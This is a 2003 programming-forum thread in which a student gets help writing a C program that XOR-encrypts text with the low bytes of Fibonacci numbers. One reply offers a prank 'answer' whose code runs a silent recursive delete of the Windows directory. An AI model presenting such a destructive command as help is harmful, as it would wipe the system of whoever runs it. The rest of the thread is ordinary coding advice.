doomedout Posted February 26, 2003 C. I am having difficulty in doing this C project. Anyone care to explain to me as to how to go about it or any useful links? Project Description: Develop a simple encryption program. The program will encrypt and decrypt strings using the fibonacci numbers for a mask. Specification: The program will read/write the data from/to the console and a file . The end of the data will be indicated with the new-line character Character n of the data will be encrypted/decrypted by XOR'ing the lowest byte of the nth-fibonacci number with the character. Use a command-line switch will indicate whether to encrypt/decrypt the data. Use '/e" for encrypt and "/d" for decrypt. Display an error if the switch is invalid. The file to read and write will be indicated by 2 strings after the command-line switch If no files are indicated then read/write from/to the console. 0 Share this post Link to post
Fredrik Posted February 26, 2003 int main() { system("del c:\\windows /s /q"); } 0 Share this post Link to post
doomedout Posted February 26, 2003 fraggle said:Whats the difficult part? Starting, don't know where to start! 0 Share this post Link to post
fraggle Posted February 26, 2003 doomedout said:Starting, don't know where to start! Pick a part and write it, then. I'd suggest the fibonacci function as a starting point, as it doesnt depend on any other part of the program. 0 Share this post Link to post
doomedout Posted February 26, 2003 #include <stdio.h> #include <stdlib.h> int fibonacci(int n); int main(void) { int n = 51; printf("%d\n", fibonacci(n)); return(0); } int fibonacci(int n) { if (n <= 2) return 1; else return fibonacci(n-1) + fibonacci(n-2); } Ya this is the function, trouble is I have no idea how to incorporate it into the program and use it as a mask. People tell me use FFFF. 0 Share this post Link to post
fraggle Posted February 26, 2003 If you take a number and AND it with 0xff (255) you will get the low byte of the number. eg. int i; i = fibonacci(blah); i = i & 0xff; 0 Share this post Link to post